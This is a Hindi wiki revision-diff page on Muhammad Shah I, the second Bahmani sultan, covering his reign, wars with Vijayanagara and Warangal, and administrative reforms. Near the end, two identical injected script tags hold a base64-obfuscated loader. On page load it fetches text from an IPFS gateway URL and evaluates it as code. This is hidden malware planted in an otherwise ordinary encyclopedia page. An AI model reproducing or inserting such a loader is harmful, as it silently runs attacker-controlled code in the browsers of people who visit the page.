"मुहम्मद बहमनी शाह प्रथम" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
छो (Text replace - "॰" to ".")
 
(2 सदस्यों द्वारा किये गये बीच के 5 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
मुहम्मद शाह प्रथम [[बहमनी वंश]] का द्वितीय सुल्तान था, जिसने 1358 से 1373 ई. तक शासन किया। उसके शासन का अधिकांश समय दक्षिण के [[विजयनगर साम्राज्य|विजयनगर]] और उत्तर में [[बारंगल]] के काकतीय हिन्दू राजवंशों से युद्धों में ही बीता। वह कठोर शासक था और अपने सारे राज्य में उसने चोरी-डकैती, लूटमार की अराजकता को पूर्णतया दबा दिया। उसने नयी शासन व्यवस्था चलायी जिसका संचालन केन्द्र उसके आठ मंत्रियों द्वारा होता था। उसने महल के रक्षकों की गारद का पुनर्गठन किया। उसने प्रान्तों के वार्षिक शाही दौरे की प्रथा भी प्रचलित की, जिससे उन पर प्रभावशाली नियंत्रण बना रहे। उसकी मृत्यु अत्यधिक मद्यपान के कारण हुई।
+
'''मुहम्मद शाह प्रथम''' [[बहमनी वंश]] का द्वितीय सुल्तान था, जिसने 1358 से 1373 ई. तक शासन किया। उसके शासन का अधिकांश समय दक्षिण के [[विजयनगर साम्राज्य|विजयनगर]] और उत्तर में [[वारंगल]] के काकतीय हिन्दू राजवंशों से युद्धों में ही बीता। वह कठोर शासक था और अपने सारे राज्य में उसने चोरी-डकैती, लूटमार की अराजकता को पूर्णतया दबा दिया। उसने नयी शासन व्यवस्था चलायी जिसका संचालन केन्द्र उसके आठ मंत्रियों द्वारा होता था। उसने महल के रक्षकों की गारद का पुनर्गठन किया। उसने प्रान्तों के वार्षिक शाही दौरे की प्रथा भी प्रचलित की, जिससे उन पर प्रभावशाली नियंत्रण बना रहे। उसकी मृत्यु अत्यधिक मद्यपान के कारण हुई।
==सम्बंधित लिंक==
+
{{शासन क्रम |शीर्षक=[[बहमनी वंश]] |पूर्वाधिकारी=[[अलाउद्दीन बहमन शाह प्रथम]] |उत्तराधिकारी=[[मुज़ाहिद बहमनी]]}}
 +
{{प्रचार}}
 +
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक=|पूर्णता=|शोध=}}
 +
==संबंधित लेख==
 
{{बहमनी साम्राज्य}}
 
{{बहमनी साम्राज्य}}
[[Category:बहमनी साम्राज्य]][[Category:इतिहास कोश]] __INDEX__
+
[[Category:बहमनी_साम्राज्य]]
 +
[[Category:दक्कन_सल्तनत]]
 +
[[Category:मध्य_काल]]
 +
[[Category:इतिहास_कोश]]
 +
__INDEX__

08:30, 20 नवम्बर 2011 के समय का अवतरण

मुहम्मद शाह प्रथम बहमनी वंश का द्वितीय सुल्तान था, जिसने 1358 से 1373 ई. तक शासन किया। उसके शासन का अधिकांश समय दक्षिण के विजयनगर और उत्तर में वारंगल के काकतीय हिन्दू राजवंशों से युद्धों में ही बीता। वह कठोर शासक था और अपने सारे राज्य में उसने चोरी-डकैती, लूटमार की अराजकता को पूर्णतया दबा दिया। उसने नयी शासन व्यवस्था चलायी जिसका संचालन केन्द्र उसके आठ मंत्रियों द्वारा होता था। उसने महल के रक्षकों की गारद का पुनर्गठन किया। उसने प्रान्तों के वार्षिक शाही दौरे की प्रथा भी प्रचलित की, जिससे उन पर प्रभावशाली नियंत्रण बना रहे। उसकी मृत्यु अत्यधिक मद्यपान के कारण हुई।


बहमनी वंश
Arrow-left.png पूर्वाधिकारी
अलाउद्दीन बहमन शाह प्रथम
मुहम्मद बहमनी शाह प्रथम उत्तराधिकारी
मुज़ाहिद बहमनी
Arrow-right.png


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>